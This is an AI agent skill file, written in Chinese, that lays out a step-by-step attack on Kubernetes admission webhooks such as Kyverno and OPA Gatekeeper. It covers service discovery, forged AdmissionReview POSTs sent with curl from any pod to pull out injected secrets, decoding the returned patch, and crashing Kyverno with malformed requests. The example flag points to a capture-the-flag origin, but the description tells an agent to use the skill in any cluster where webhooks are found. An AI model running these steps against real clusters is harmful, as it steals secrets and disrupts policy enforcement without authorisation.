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k8s-webhook-abuse

DevOps & Security
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Kubernetes Admission Webhook 滥用与策略引擎利用。当集群存在 Kyverno/OPA Gatekeeper/自定义 Webhook、DNS 扫描发现 kyverno-svc 或 gatekeeper 服务、或需要从 Mutating Webhook 提取注入的 Secret 时使用。核心手法:伪造 AdmissionReview 请求。任何在 K8s 中发现 Webhook 服务或策略引擎的场景都应使用此技能

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Kubernetes Admission Webhook 滥用

K8s 的 Admission Webhook 是集群安全的守门人,负责在资源创建/修改时执行策略(注入 Secret、环境变量等)。问题在于:很多 Webhook 不验证请求是否来自 API Server。这意味着攻击者可以从任意 Pod 直接向 Webhook 发送伪造的 AdmissionReview 请求,骗取本应注入到特权 Pod 中的 Secret。

正常流程:
  kubectl create pod → API Server → Mutating Webhook → (注入 secret) → 存储

攻击流程:
  攻击者 Pod → 直接 POST 到 Webhook → Webhook 返回 patch(含 secret)

Phase 1: 发现 Webhook 服务

# DNS 扫描发现策略引擎
k8spider scan -subnet <service-cidr>

# 常见的 Webhook 服务名
# Kyverno:
#   kyverno-svc.kyverno.svc.cluster.local (443)
#   kyverno-cleanup-controller.kyverno.svc.cluster.local
# OPA Gatekeeper:
#   gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local
# 自定义:
#   *-webhook-service.*

# 检测 Webhook 端点
curl -k https://kyverno-svc.kyverno.svc.cluster.local/mutate
# GET 请求返回 "only POST/OPTIONS supported" → 说明服务可达且未验证来源

Phase 2: 构造 AdmissionReview 请求

构造一个假的 Pod 创建请求发给 Webhook,骗它返回 mutation patch。

完整 JSON payload 模板见 → references/admission-review-template.md

关键字段说明:

  • namespace — 必须匹配策略的 match 条件(如 sensitive-ns),否则 Webhook 不会触发 mutation
  • kind / requestKind — 必须填写,缺失会导致 Kyverno panic
  • operation — 通常用 CREATE
  • object.spec.containers — 至少包含一个容器定义

发送请求

# 保存 JSON(从 references/admission-review-template.md 获取完整模板)
cat > /tmp/admission.json << 'EOF'
... 完整 JSON ...
EOF

# 发送到 Kyverno mutate 端点
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d @/tmp/admission.json \
  https://kyverno-svc.kyverno.svc.cluster.local/mutate

# 注意事项(踩坑经验):
# - 必须 HTTPS + -k(自签证书)
# - 必须 Content-Type: application/json
# - 不要加 --http1.1(Kyverno 需要 HTTP/2,否则 stream 断开)
# - namespace 必须匹配策略的 match 条件

Phase 3: 解析返回的 Patch

响应中的 response.patch 是 Base64 编码的 JSONPatch:

# 从响应中提取 patch
echo '<patch-base64>' | base64 -d | jq .

# 输出示例:
# [{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{...}"}]}]

Phase 4: 其他 Webhook 攻击

OPA Gatekeeper

端点和请求格式见 → references/admission-review-template.md

Kyverno 空指针 Panic(确认可利用性)

发送缺少 requestKind/requestResource 的不完整 AdmissionReview,Kyverno 会 panic(空指针解引用)。这虽然不直接有用,但能确认 Webhook 不验证调用方身份。


常见策略引擎端点

引擎端点端口类型
Kyverno/mutate, /validate443Mutating + Validating
OPA Gatekeeper/v1/admit443Validating
自定义/mutate, /validate, /webhook443/8443取决于实现

关键要点

  • Webhook 不验证来源 = 任何 Pod 都能伪造请求
  • Mutating Webhook 的返回 patch 可能包含注入的 Secret/Flag/Token
  • namespace 字段必须匹配策略的 match 条件才能触发 mutation
  • requestKind 和 requestResource 字段不能为空(否则 Kyverno 会 panic)
  • 使用 HTTP/2(不要 --http1.1),且必须带 Content-Type: application/json